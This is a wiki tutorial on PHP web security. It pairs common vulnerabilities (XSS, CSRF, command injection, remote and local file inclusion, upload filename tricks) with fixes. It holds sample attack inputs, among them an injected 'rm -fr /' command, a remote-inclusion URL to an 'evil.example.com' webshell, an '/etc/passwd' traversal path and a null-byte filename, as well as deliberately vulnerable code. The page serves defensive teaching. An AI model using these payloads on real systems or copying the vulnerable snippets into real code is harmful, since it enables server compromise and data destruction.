PHP

PHP TutorialCompile PHP ExtensionsContributing to the PHP CoreContributing to the PHP ManualCreate PDF files in PHPInstalling a PHP environment on WindowsPHP Alternative Syntax for Control StructuresPHP APCuPHP Array iterationPHP ArraysPHP Asynchronous programmingPHP Autoloading PrimerPHP BC Math (Binary Calculator)PHP Built in serverPHP CachePHP Classes and ObjectsPHP ClosurePHP Coding ConventionsPHP Command Line Interface (CLI)PHP CommentsPHP Common ErrorsPHP Compilation of Errors and WarningsPHP Composer Dependency ManagerPHP ConstantsPHP Control StructuresPHP CookiesPHP CryptographyPHP DateTime ClassPHP DebuggingPHP Dependency InjectionPHP Design PatternsPHP Docker deploymentPHP Exception Handling and Error ReportingPHP Executing Upon an ArrayPHP File handlingPHP Filters & Filter FunctionsPHP Functional ProgrammingPHP FunctionsPHP GeneratorsPHP Headers ManipulationPHP How to break down an URLPHP How to Detect Client IP AddressPHP HTTP AuthenticationPHP Image Processing with GDPHP ImagickPHP IMAPPHP Installing on Linux/Unix EnvironmentsPHP JSONPHP LocalizationPHP LoopsPHP Machine learningPHP Magic ConstantsPHP Magic MethodsPHP Manipulating an ArrayPHP mongo-phpPHP Multi Threading ExtensionPHP MultiprocessingPHP MySQLiPHP MySQLi affected rows returns 0 when it should return a positive integerPHP NamespacesPHP Object SerializationPHP OperatorsPHP Output BufferingPHP Outputting the Value of a VariablePHP Parsing HTMLPHP Password Hashing FunctionsPHP PDOPHP PerformancePHP PHPDocPHP Processing Multiple Arrays TogetherPHP PSRPHP Reading Request DataPHP RecipesPHP ReferencesPHP ReflectionPHP Regular Expressions (regexp/PCRE)PHP Secure Remeber MePHP SecurityPHP Sending EmailPHP SerializationPHP SessionsPHP SimpleXMLPHP SOAP ClientPHP SOAP ServerPHP SocketsPHP SPL data structuresPHP SQLite3PHP StreamsPHP String formattingPHP String Parsing



PHP Security

From WikiOD

As the majority of websites run off PHP, application security is an important topic for PHP developers to protect their website, data, and clients. This topic covers best security practices in PHP as well as common vulnerabilities and weaknesses with example fixes in PHP.

Remarks[edit | edit source]

See Also

PHP Version Leakage[edit | edit source]

By default, PHP will tell the world what version of PHP you are using, e.g.

X*Powered*By: PHP/5.3.8

To fix this you can either change php.ini:

expose_php = off

Or change the header:

header("X*Powered*By: Magic");

Or if you'd prefer a htaccess method:

Header unset X-Powered-By

If either of the above methods do not work, there is also the header_remove() function that provides you the ability to remove the header:

header_remove('X-Powered-By');

If attackers know that you are using PHP and the version of PHP that you are using, it's easier for them to exploit your server.

Cross-Site Scripting (XSS)[edit | edit source]

Problem[edit | edit source]

Cross*site scripting is the unintended execution of remote code by a web client. Any web application might expose itself to XSS if it takes input from a user and outputs it directly on a web page. If input includes HTML or JavaScript, remote code can be executed when this content is rendered by the web client.

For example, if a 3rd party side contains a JavaScript file:

// http://example.com/runme.js
document.write("I'm running");

And a PHP application directly outputs a string passed into it:

<?php
echo '<div>' . $_GET['input'] . '</div>';

If an unchecked GET parameter contains <script src="http://example.com/runme.js%22></script> then the output of the PHP script will be:

<div><script src="http://example.com/runme.js"></script></div>

The 3rd party JavaScript will run and the user will see "I'm running" on the web page.

Solution[edit | edit source]

As a general rule, never trust input coming from a client. Every GET, POST, and cookie value could be anything at all, and should therefore be validated. When outputting any of these values, escape them so they will not be evaluated in an unexpected way.

Keep in mind that even in the simplest applications data can be moved around and it will be hard to keep track of all sources. Therefore it is a best practice to always escape output.

PHP provides a few ways to escape output depending on the context.

Filter Functions[edit | edit source]

PHPs Filter Functions allow the input data to the php script to be sanitized or validated in many ways. They are useful when saving or outputting client input.

HTML Encoding[edit | edit source]

htmlspecialchars will convert any "HTML special characters" into their HTML encodings, meaning they will then not be processed as standard HTML. To fix our previous example using this method:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Would output:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Everything inside the <div> tag will not be interpreted as a JavaScript tag by the browser, but instead as a simple text node. The user will safely see:

<script src="http://example.com/runme.js"></script>

URL Encoding[edit | edit source]

When outputting a dynamically generated URL, PHP provides the urlencode function to safely output valid URLs. So, for example, if a user is able to input data that becomes part of another GET parameter:

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Any malicious input will be converted to an encoded URL parameter.

Using specialised external libraries or OWASP AntiSamy lists[edit | edit source]

Sometimes you will want to send HTML or other kind of code inputs. You will need to maintain a list of authorised words (white list) and un-authorized (blacklist).

You can download standard lists available at the OWASP AntiSamy website. Each list is fit for a specific kind of interaction (ebay api, tinyMCE, etc...). And it is open source.

There are libraries existing to filter HTML and prevent XSS attacks for the general case and performing at least as well as AntiSamy lists with very easy use. For example you have HTML Purifier

Cross-Site Request Forgery[edit | edit source]

Problem[edit | edit source]

Cross*Site Request Forgery or CSRF can force an end user to unknowingly generate malicious requests to a web server. This attack vector can be exploited in both POST and GET requests. Let's say for example the url endpoint /delete.php?accnt=12 deletes account as passed from accnt parameter of a GET request. Now if an authenticated user will encounter the following script in any other application

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

the account would be deleted.

Solution[edit | edit source]

A common solution to this problem is the use of CSRF tokens. CSRF tokens are embedded into requests so that a web application can trust that a request came from an expected source as part of the application's normal workflow. First the user performs some action, such as viewing a form, that triggers the creation of a unique token. A sample form implementing this might look like

<form method="get" action="/delete.php">
  <input type="text" name="accnt" placeholder="accnt number" />
  <input type="hidden" name="csrf_token" value="<randomToken>" />
  <input type="submit" />
</form>

The token can then be validated by the server against the user session after form submission to eliminate malicious requests.

Sample code[edit | edit source]

Here is sample code for a basic implementation:

/* Code to generate a CSRF token and store the same */
...
<?php
  session_start();
  function generate_token() {
    // Check if a token is present for the current session
    if(!isset($_SESSION["csrf_token"])) {
        // No token present, generate a new one
        $token = random_bytes(64);
        $_SESSION["csrf_token"] = $token;
    } else {
        // Reuse the token
        $token = $_SESSION["csrf_token"];
    }
    return $token;
  }
?>
<body>
  <form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
    <input type="submit" />
  </form>
</body>
...

/* Code to validate token and drop malicious requests */
...
<?php
  session_start();
  if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
    // Reset token
    unset($_SESSION["csrf_token"]);
    die("CSRF token validation failed");
  }
?>
...

There are many libraries and frameworks already available which have their own implementation of CSRF validation. Though this is the simple implementation of CSRF, You need to write some code to regenerate your CSRF token dynamically to prevent from CSRF token stealing and fixation.

Command Line Injection[edit | edit source]

Problem[edit | edit source]

In a similar way that SQL injection allows an attacker to execute arbitrary queries on a database, command-line injection allows someone to run untrusted system commands on a web server. With an improperly secured server this would give an attacker complete control over a system.

Let's say, for example, a script allows a user to list directory contents on a web server.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

(In a real-world application one would use PHP's built-in functions or objects to get path contents. This example is for a simple security demonstration.)

One would hope to get a path parameter similar to /tmp. But as any input is allowed, path could be ; rm -fr /. The web server would then execute the command

ls; rm -fr /

and attempt to delete all files from the root of the server.

Solution[edit | edit source]

All command arguments must be escaped using escapeshellarg() or escapeshellcmd(). This makes the arguments non-executable. For each parameter, the input value should also be validated.

In the simplest case, we can secure our example with

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

Following the previous example with the attempt to remove files, the executed command becomes

ls '; rm -fr /'

And the string is simply passed as a parameter to ls, rather than terminating the ls command and running rm.

It should be noted that the example above is now secure from command injection, but not from directory traversal. To fix this, it should be checked that the normalized path starts with the desired sub-directory.

PHP offers a variety of functions to execute system commands, including exec, passthru, proc_open, shell_exec, and system. All must have their inputs carefully validated and escaped.

File Inclusion[edit | edit source]

Remote File Inclusion[edit | edit source]

Remote File Inclusion (also known as RFI) is a type of vulnerability that allows an attacker to include a remote file.

This example injects a remotely hosted file containing a malicious code:

<?php
include $_GET['page'];

/vulnerable.php?page=http://evil.example.com/webshell.txt?

Local File Inclusion[edit | edit source]

Local File Inclusion (also known as LFI) is the process of including files on a server through the web browser.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

Solution to RFI & LFI:[edit | edit source]

It is recommended to only allow including files you approved, and limit to those only.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

Stripping Tags[edit | edit source]

strip_tags is a very powerful function if you know how to use it. As a method to prevent cross-site scripting attacks there are better methods, such as character encoding, but stripping tags is useful in some cases.

Basic Example[edit | edit source]

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Raw Output

Hello, please remove the tags.

Allowing Tags[edit | edit source]

Say you wanted to allow a certain tag but no other tags, then you'd specify that in the second parameter of the function. This parameter is optional. In my case I only want the <b> tag to be passed through.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Raw Output

<b>Hello, please remove the  tags.</b>

Notice(s)[edit | edit source]

HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowable_tags.

In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only non-self-closing tags should be used in allowable_tags. For example, to allow both <br> and <br/>, you should use:

<?php
strip_tags($input, '<br>');
?>

Error Reporting[edit | edit source]

By default PHP will output errors, warnings and notice messages directly on the page if something unexpected in a script occurs. This is useful for resolving specific issues with a script but at the same time it outputs information you don't want your users to know.

Therefore it's good practice to avoid displaying those messages which will reveal information about your server, like your directory tree for example, in production environments. In a development or testing environment these messages may still be useful to display for debugging purposes.

A quick solution[edit | edit source]

You can turn them off so the messages don't show at all, however this makes debugging your script harder.

<?php
  ini_set("display_errors", "0");
?>

Or change them directly in the php.ini.

display_errors = 0

Handling errors[edit | edit source]

A better option would be to store those error messages to a place they are more useful, like a database:

set_error_handler(function($errno , $errstr, $errfile, $errline){
  try{
    $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

    if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
      if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
        throw new Exception('Unable to execute query');
      }
    } else {
      throw new Exception('Unable to prepare query');
    }
  } catch (Exception $e){
    error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
  }
});

This method will log the messages to the database and if that fails to a file instead of echoing it directly into the page. This way you can track what users are experiencing on your website and notify you immediately if something go's wrong.

Uploading files[edit | edit source]

If you want users to upload files to your server you need to do a couple of security checks before you actually move the uploaded file to your web directory.

The uploaded data:[edit | edit source]

This array contains user submitted data and is not information about the file itself. While usually this data is generated by the browser one can easily make a post request to the same form using software.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name - Verify every aspect of it.
  • type - Never use this data. It can be fetched by using PHP functions instead.
  • size - Safe to use.
  • tmp_name - Safe to use.

Exploiting the file name[edit | edit source]

Normally the operating system does not allow specific characters in a file name, but by spoofing the request you can add them allowing for unexpected things to happen. For example, lets name the file:

../script.php%00.png

Take good look at that filename and you should notice a couple of things.

  1. The first to notice is the ../, fully illegal in a file name and at the same time perfectly fine if you are moving a file from 1 directory to another, which we're gonna do right?
  2. Now you might think you were verifying the file extensions properly in your script but this exploit relies on the url decoding, translating %00 to a null character, basically saying to the operating system, this string ends here, stripping off .png off the filename.

So now I've uploaded script.php to another directory, by-passing simple validations to file extensions. It also by-passes .htaccess files disallowing scripts to be executed from within your upload directory.


Getting the file name and extension safely[edit | edit source]

You can use pathinfo() to extrapolate the name and extension in a safe manner but first we need to replace unwanted characters in the file name:

// This array contains a list of characters not allowed in a filename
$illegal   = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename  = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo  = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename  = $pathinfo['filename']  ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){
  echo $filename, $extension;
} else {
  die('file is missing an extension or name');
}

While now we have a filename and extension that can be used for storing, I still prefer storing that information in a database and give that file a generated name of for example, md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title  | extension | mime       | size | filename                         | time                |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1  | myfile | txt       | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+

This would resolve the issue of duplicate file names and unforseen exploits in the file name. It would also cause the attacker to guess where that file has been stored as he or she cannot specifically target it for execution.


Mime-type validation[edit | edit source]

Checking a file extension to determine what file it is is not enough as a file may named image.png but may very well contain a php script. By checking the mime-type of the uploaded file against a file extension you can verify if the file contains what its name is referring to.

You can even go 1 step further for validating images, and that is actually opening them:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
  if($img = imagecreatefromjpeg($filename)){
    imagedestroy($img);
  } else {
    die('image failed to open, could be corrupt or the file contains something else.');
  }
}

You can fetch the mime-type using a build-in function or a class.


White listing your uploads[edit | edit source]

Most importantly, you should whitelist file extensions and mime types depending on each form.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return  isset($allowed[$mime]) &&
            is_array($allowed[$mime]) &&
            in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png'  => [ 'png' ],
    'image/gif'  => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));

Credit:Stack_Overflow_Documentation